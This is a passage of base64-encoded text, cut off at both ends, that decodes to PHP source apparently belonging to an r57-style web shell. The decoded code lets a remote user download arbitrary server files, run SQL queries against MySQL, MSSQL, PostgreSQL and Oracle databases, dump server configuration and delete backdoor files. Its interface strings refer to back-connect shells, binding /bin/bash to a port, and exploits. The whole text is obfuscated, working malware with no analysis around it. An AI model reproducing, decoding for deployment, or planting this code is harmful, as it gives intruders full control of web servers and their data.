VBQUFFQUxBQUFBQUFIQUFjQUFBSUxqSStwd0EzaG5tbEpoZ0lBT3c9PSc7QG9iX2NsZWFuKCk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIpO2VjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRfR0VUWydpbWcnXV0pO2RpZSgpO31pZihpc3NldCgkX1BPU1RbJ2NtZCddKSAmJiAhZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSl7aWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2RfbmFtZSddLCJyIikpe2VjaG8gcmUoJF9QT1NUWydkX25hbWUnXSk7JF9QT1NUWydjbWQnXT0iIjt9ZWxzZSB7QG9iX2NsZWFuKCk7JGZpbGVuYW1lPUBiYXNlbmFtZSgkX1BPU1RbJ2RfbmFtZSddKTskZmlsZWR1bXA9QGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2RfbmFtZSddKSk7ZmNsb3NlKCRmaWxlKTskY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnO2NvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTtpZighZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKXtoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcuJGNvbnRlbnRfZW5jb2RpbmcpO31oZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBlKTtoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZmlsZW5hbWUuIlwiOyIpO2VjaG8gJGZpbGVkdW1wO2V4aXQoKTt9fWlmKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKXtlY2hvIEBwaHBpbmZvKCk7ZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjtkaWUoKTt9aWYoJF9QT1NUWydjbWQnXT09ImRiX3F1ZXJ5Iil7ZWNobyAkaGVhZDtzd2l0Y2goJF9QT1NUWydkYiddKXtjYXNlICdNeVNRTCc6aWYoZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pKXskX1BPU1RbJ2RiX3BvcnQnXT0nMzMwNic7fSRkYj1AbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0OicuJF9QT1NUWydkYl9wb3J0J10sJF9QT1NUWydteXNxbF9sJ10sJF9QT1NUWydteXNxbF9wJ10pO2lmKCRkYil7aWYoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSkpe0BteXNxbF9zZWxlY3RfZGIoJF9QT1NUWydteXNxbF9kYiddLCRkYik7fSRxdWVyeXM9QGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7Zm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSl7aWYoc3RybGVuKCRxdWVyeSk+NSApe2VjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkuIjwvYj48L2ZvbnQ+PGJyPiI7JHJlcz1AbXlzcWxfcXVlcnkoJHF1ZXJ5LCRkYik7JGVycm9yPUBteXNxbF9lcnJvcigkZGIpO2lmKCRlcnJvcil7ZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJGVycm9yLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iO31lbHNlIHtpZihAbXlzcWxfbnVtX3Jvd3MoJHJlcyk+MCApeyRzcWwyPSRzcWw9JGtleXM9JHZhbHVlcz0nJzt3aGlsZSgoJHJvdz1AbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpKXska2V5cz1AaW1wbG9kZSgiJm5ic3A7PC9iPjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7IixAYXJyYXlfa2V5cygkcm93KSk7JHZhbHVlcz1AYXJyYXlfdmFsdWVzKCRyb3cpO2ZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpeyR2YWx1ZXNbJGtdPWh0bWxzcGVjaWFsY2hhcnMoJHYpO30kdmFsdWVzPUBpbXBsb2RlKCImbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7IiwkdmFsdWVzKTskc3FsMi49Ijx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Ii4kdmFsdWVzLiImbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPiI7fWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPiI7JHNxbD0iPHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7Ii4ka2V5cy4iJm5ic3A7PC9iPjwvZm9udD48L3RkPjwvdHI+Ijskc3FsLj0kc3FsMjtlY2hvICRzcWw7ZWNobyAiPC90YWJsZT48YnI+Ijt9ZWxzZSB7aWYoKCRyb3dzPUBteXNxbF9hZmZlY3RlZF9yb3dzKCRkYikpPj0wICl7ZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5hZmZlY3RlZCByb3dzIDogPGI+Ii4kcm93cy4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+Ijt9fX1AbXlzcWxfZnJlZV9yZXN1bHQoJHJlcyk7fX1AbXlzcWxfY2xvc2UoJGRiKTt9ZWxzZSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Q2FuJ3QgY29ubmVjdCB0byBNeVNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7YnJlYWs7Y2FzZSAnTVNTUUwnOmlmKGVtcHR5KCRfUE9TVFsnZGJfcG9ydCddKSl7JF9QT1NUWydkYl9wb3J0J109JzE0MzMnO30kZGI9QG1zc3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCwnLiRfUE9TVFsnZGJfcG9ydCddLCRfUE9TVFsnbXlzcWxfbCddLCRfUE9TVFsnbXlzcWxfcCddKTtpZigkZGIpe2lmKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pKXtAbXNzcWxfc2VsZWN0X2RiKCRfUE9TVFsnbXlzcWxfZGInXSwkZGIpO30kcXVlcnlzPUBleHBsb2RlKCc7JywkX1BPU1RbJ2RiX3F1ZXJ5J10pO2ZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpe2lmKHN0cmxlbigkcXVlcnkpPjUgKXtlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1ncmVlbj48Yj5RdWVyeSMiLiRudW0uIiA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpLiI8L2I+PC9mb250Pjxicj4iOyRyZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkZGIpO2lmKEBtc3NxbF9udW1fcm93cygkcmVzKT4wICl7JHNxbDI9JHNxbD0ka2V5cz0kdmFsdWVzPScnO3doaWxlKCgkcm93PUBtc3NxbF9mZXRjaF9hc3NvYygkcmVzKSkpeyRrZXlzPUBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLEBhcnJheV9rZXlzKCRyb3cpKTskdmFsdWVzPUBhcnJheV92YWx1ZXMoJHJvdyk7Zm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdil7JHZhbHVlc1ska109aHRtbHNwZWNpYWxjaGFycygkdik7fSR2YWx1ZXM9QGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4mbmJzcDsiLCR2YWx1ZXMpOyRzcWwyLj0iPHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4mbmJzcDsiLiR2YWx1ZXMuIiZuYnNwOzwvZm9udD48L3RkPjwvdHI+Ijt9ZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+Ijskc3FsPSI8dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+PC90cj4iOyRzcWwuPSRzcWwyO2VjaG8gJHNxbDtlY2hvICI8L3RhYmxlPjxicj4iO31AbXNzcWxfZnJlZV9yZXN1bHQoJHJlcyk7fX1AbXNzcWxfY2xvc2UoJGRiKTt9ZWxzZSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Q2FuJ3QgY29ubmVjdCB0byBNU1NRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7YnJlYWs7Y2FzZSAnUG9zdGdyZVNRTCc6aWYoZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pKXskX1BPU1RbJ2RiX3BvcnQnXT0nNTQzMic7fSRzdHI9Imhvc3Q9J2xvY2FsaG9zdCcgcG9ydD0nIi4kX1BPU1RbJ2RiX3BvcnQnXS4iJyB1c2VyPSciLiRfUE9TVFsnbXlzcWxfbCddLiInIHBhc3N3b3JkPSciLiRfUE9TVFsnbXlzcWxfcCddLiInIGRibmFtZT0nIi4kX1BPU1RbJ215c3FsX2RiJ10uIiciOyRkYj1AcGdfY29ubmVjdCgkc3RyKTtpZigkZGIpeyRxdWVyeXM9QGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7Zm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSl7aWYoc3RybGVuKCRxdWVyeSk+NSApe2VjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkuIjwvYj48L2ZvbnQ+PGJyPiI7JHJlcz1AcGdfcXVlcnkoJGRiLCRxdWVyeSk7JGVycm9yPUBwZ19lcnJvcm1lc3NhZ2UoJGRiKTtpZigkZXJyb3Ipe2VjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+RXJyb3IgOiA8Yj4iLiRlcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+Ijt9ZWxzZSB7aWYoQHBnX251bV9yb3dzKCRyZXMpPjAgKXskc3FsMj0kc3FsPSRrZXlzPSR2YWx1ZXM9Jyc7d2hpbGUoKCRyb3c9QHBnX2ZldGNoX2Fzc29jKCRyZXMpKSl7JGtleXM9QGltcGxvZGUoIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsQGFycmF5X2tleXMoJHJvdykpOyR2YWx1ZXM9QGFycmF5X3ZhbHVlcygkcm93KTtmb3JlYWNoKCR2YWx1ZXMgYXMgJGs9PiR2KXskdmFsdWVzWyRrXT1odG1sc3BlY2lhbGNoYXJzKCR2KTt9JHZhbHVlcz1AaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHZhbHVlcyk7JHNxbDIuPSI8dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIuJHZhbHVlcy4iJm5ic3A7PC9mb250PjwvdGQ+PC90cj4iO31lY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOyRzcWw9Ijx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7JHNxbC49JHNxbDI7ZWNobyAkc3FsO2VjaG8gIjwvdGFibGU+PGJyPiI7fWVsc2Uge2lmKCgkcm93cz1AcGdfYWZmZWN0ZWRfcm93cygkcmVzKSk+PTAgKXtlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPmFmZmVjdGVkIHJvd3MgOiA8Yj4iLiRyb3dzLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iO319fUBwZ19mcmVlX3Jlc3VsdCgkcmVzKTt9fUBwZ19jbG9zZSgkZGIpO31lbHNlIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DYW4ndCBjb25uZWN0IHRvIFBvc3RncmVTUUwgc2VydmVyPC9iPjwvZm9udD48L2Rpdj4iO2JyZWFrO2Nhc2UgJ09yYWNsZSc6JGRiPUBvY2lsb2dvbigkX1BPU1RbJ215c3FsX2wnXSwkX1BPU1RbJ215c3FsX3AnXSwkX1BPU1RbJ215c3FsX2RiJ10pO2lmKCgkZXJyb3I9QG9jaWVycm9yKCkpKXtlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Q2FuJ3QgY29ubmVjdCB0byBPcmFjbGUgc2VydmVyLjxicj4iLiRlcnJvclsnbWVzc2FnZSddLiI8L2I+PC9mb250PjwvZGl2PiI7fWVsc2UgeyRxdWVyeXM9QGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7Zm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSl7aWYoc3RybGVuKCRxdWVyeSk+NSApe2VjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkuIjwvYj48L2ZvbnQ+PGJyPiI7JHN0YXQ9QG9jaXBhcnNlKCRkYiwkcXVlcnkpO0BvY2lleGVjdXRlKCRzdGF0KTtpZigoJGVycm9yPUBvY2llcnJvcigpKSl7ZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJGVycm9yWydtZXNzYWdlJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7fWVsc2UgeyRyb3djb3VudD1Ab2Npcm93Y291bnQoJHN0YXQpO2lmKCRyb3djb3VudCE9MCApe2VjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+YWZmZWN0ZWQgcm93cyA6IDxiPiIuJHJvd2NvdW50LiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iO31lbHNlIHtlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+Ijtmb3IoJGo9MSA7JGo8PUBvY2ludW1jb2xzKCRzdGF0KTskaisrKXtlY2hvICI8dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuaHRtbHNwZWNpYWxjaGFycyhAb2NpY29sdW1ubmFtZSgkc3RhdCwkaikpLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+Ijt9ZWNobyAiPC90cj4iO3doaWxlKG9jaWZldGNoKCRzdGF0KSl7ZWNobyAiPHRyPiI7Zm9yKCRqPTEgOyRqPD1Ab2NpbnVtY29scygkc3RhdCk7JGorKyl7ZWNobyAiPHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIuaHRtbHNwZWNpYWxjaGFycyhAb2NpcmVzdWx0KCRzdGF0LCRqKSkuIiZuYnNwOzwvZm9udD48L3RkPiI7fWVjaG8gIjwvdHI+Ijt9ZWNobyAiPC90YWJsZT48YnI+Ijt9QG9jaWZyZWVzdGF0ZW1lbnQoJHN0YXQpO319fUBvY2lsb2dvZmYoJGRiKTt9YnJlYWs7fWVjaG8gIjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4iO2VjaG8gaW4oJ2hpZGRlbicsJ2RiJywwICwkX1BPU1RbJ2RiJ10pO2VjaG8gaW4oJ2hpZGRlbicsJ2RiX3BvcnQnLDAgLCRfUE9TVFsnZGJfcG9ydCddKTtlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9sJywwICwkX1BPU1RbJ215c3FsX2wnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCAsJF9QT1NUWydteXNxbF9wJ10pO2VjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2RiJywwICwkX1BPU1RbJ215c3FsX2RiJ10pO2VjaG8gaW4oJ2hpZGRlbicsJ2NtZCcsMCAsJ2RiX3F1ZXJ5Jyk7ZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIGNvbHM9NjUgcm93cz0xMCBuYW1lPWRiX3F1ZXJ5PiIuKCFlbXB0eSgkX1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7XG5TRUxFQ1QgKiBGUk9NIHVzZXI7IikpLiI8L3RleHRhcmVhPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCIgUnVuIFNRTCBxdWVyeSBcIj48L2Rpdj48YnI+PGJyPiI7ZWNobyAiPC9mb3JtPiI7ZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjtkaWUoKTt9aWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSl7QHVubGluayhAc3Vic3RyKEBzdHJyY2hyKCRfU0VSVkVSWydQSFBfU0VMRiddLCIvIiksMSApKTt9aWYoaXNzZXQoJF9HRVRbJ3RtcCddKSl7QHVubGluaygiL3RtcC9iZHBsIik7QHVubGluaygiL3RtcC9iYWNrIik7QHVubGluaygiL3RtcC9iZCIpO0B1bmxpbmsoIi90bXAvYmQuYyIpO0B1bmxpbmsoIi90bXAvZHAiKTtAdW5saW5rKCIvdG1wL2RwYyIpO0B1bmxpbmsoIi90bXAvZHBjLmMiKTt9aWYoaXNzZXQoJF9HRVRbJ3BocGluaSddKSl7ZWNobyAkaGVhZDtmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSl7aWYoJHZhbHVlPT0nJylyZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7aWYoQGlzX2Jvb2woJHZhbHVlKSlyZXR1cm4gJHZhbHVlPydUUlVFJzonRkFMU0UnO2lmKCR2YWx1ZT09PW51bGwpcmV0dXJuICdOVUxMJztpZihAaXNfb2JqZWN0KCR2YWx1ZSkpJHZhbHVlPShhcnJheSkkdmFsdWU7aWYoQGlzX2FycmF5KCR2YWx1ZSkpe0BvYl9zdGFydCgpO3ByaW50X3IoJHZhbHVlKTskdmFsdWU9QG9iX2dldF9jb250ZW50cygpO0BvYl9lbmRfY2xlYW4oKTt9cmV0dXJuIFVfd29yZHdyYXAoKHN0cmluZykkdmFsdWUpO31mdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpeyRzdHI9QHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLDEwMCAsJzx3YnIgLz4nLHRydWUpO3JldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywnJDEkMjx3YnIgLz4nLCRzdHIpO31pZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKXskcj0nJztlY2hvICc8dGFibGUgd2lkdGg9MTAwJT4nLCc8dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGI+RGlyZWN0aXZlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPk1hc3RlciBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7Zm9yZWFjaChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpeyRyLj0nPHRyPjx0ZD4nLndzKDMgKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+Jzt9ZWNobyAkcjtlY2hvICc8L3RhYmxlPic7fWVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7ZGllKCk7fWlmKGlzc2V0KCRfR0VUWydjcHUnXSkpe2VjaG8gJGhlYWQ7ZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNQVTwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PHRhYmxlIHdpZHRoPTEwMCU+JzskY3B1Zj1AZmlsZSgiY3B1aW5mbyIpO2lmKCRjcHVmKXskYz1Ac2l6ZW9mKCRjcHVmKTtmb3IoJGk9MCA7JGk8JGM7JGkrKyl7JGluZm89QGV4cGxvZGUoIjoiLCRjcHVmWyRpXSk7aWYoJGluZm9bMSBdPT0iIil7JGluZm9bMSBdPSItLS0iO30kci49Jzx0cj48dGQ+Jy53cygzICkuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swIF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxIF0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nO31lY2hvICRyO31lbHNlIHtlY2hvICc8dHI+PHRkPicud3MoMyApLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7fWVjaG8gJzwvdGFibGU+JztlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iO2RpZSgpO31pZihpc3NldCgkX0dFVFsnbWVtJ10pKXtlY2hvICRoZWFkO2VjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7JG1lbWY9QGZpbGUoIm1lbWluZm8iKTtpZigkbWVtZil7JGM9c2l6ZW9mKCRtZW1mKTtmb3IoJGk9MCA7JGk8JGM7JGkrKyl7JGluZm89ZXhwbG9kZSgiOiIsJG1lbWZbJGldKTtpZigkaW5mb1sxIF09PSIiKXskaW5mb1sxIF09Ii0tLSI7fSRyLj0nPHRyPjx0ZD4nLndzKDMgKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzAgXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzEgXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7fWVjaG8gJHI7fWVsc2Uge2VjaG8gJzx0cj48dGQ+Jy53cygzICkuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+Jzt9ZWNobyAnPC90YWJsZT4nO2VjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7ZGllKCk7fSRsYW5nPWFycmF5KCdydV90ZXh0MSc9PifC++/u6+3l7e3g/yDq7uzg7eTgJywncnVfdGV4dDInPT4nwvvv7uvt5e3o5SDq7uzg7eQg7eAg8eXw4uXw5ScsJ3J1X3RleHQzJz0+J8L77+7r7ejy/CDq7uzg7eTzJywncnVfdGV4dDQnPT4n0ODh7vfg/yDk6PDl6vLu8Oj/JywncnVfdGV4dDUnPT4nx+Dj8PPn6uAg9ODp6+7iIO3gIPHl8OLl8CcsJ3J1X3RleHQ2Jz0+J8vu6uDr/O376SD04OnrJywncnVfdGV4dDcnPT4nwOvo4PH7JywncnVfdGV4dDgnPT4nwvvh5fDo8uUg4Ovo4PEnLCdydV9idXR0MSc9PifC++/u6+3o8vwnLCdydV9idXR0Mic9PifH4OPw8+fo8vwnLCdydV90ZXh0OSc9PifO8urw+/Lo5SDv7vDy4CDoIO/w6OL/5+rgIOXj7iDqIC9iaW4vYmFzaCcsJ3J1X3RleHQxMCc9PifO8urw+/L8IO/u8PInLCdydV90ZXh0MTEnPT4nz+Dw7uv8IOTr/yDk7vHy8+/gJywncnVfYnV0dDMnPT4nzvLq8Pvy/CcsJ3J1X3RleHQxMic9PidiYWNrLWNvbm5lY3QnLCdydV90ZXh0MTMnPT4nSVAt4OTw5fEnLCdydV90ZXh0MTQnPT4nz+7w8icsJ3J1X2J1dHQ0Jz0+J8L77+7r7ejy/CcsJ3J1X3RleHQxNSc9PifH4OPw8+fq4CD04Onr7uIg8SDz5ODr5e3t7uPuIPHl8OLl8OAnLCdydV90ZXh0MTYnPT4nyPHv7uv85+7i4PL8JywncnVfdGV4dDE3Jz0+J9Pk4Ovl7e376SD04OnrJywncnVfdGV4dDE4Jz0+J8vu6uDr/O376SD04OnrJywncnVfdGV4dDE5Jz0+J0V4cGxvaXRzJywncnVfdGV4dDIwJz0+J8jx7+7r/Ofu4uDy/CcsJ3J1X3RleHQyMSc9PifN7uLu5SDo7P8nLCdydV90ZXh0MjInPT4nZGF0YXBpcGUnLCdydV90ZXh0MjMnPT4ny+7q4Ov87fvpIO/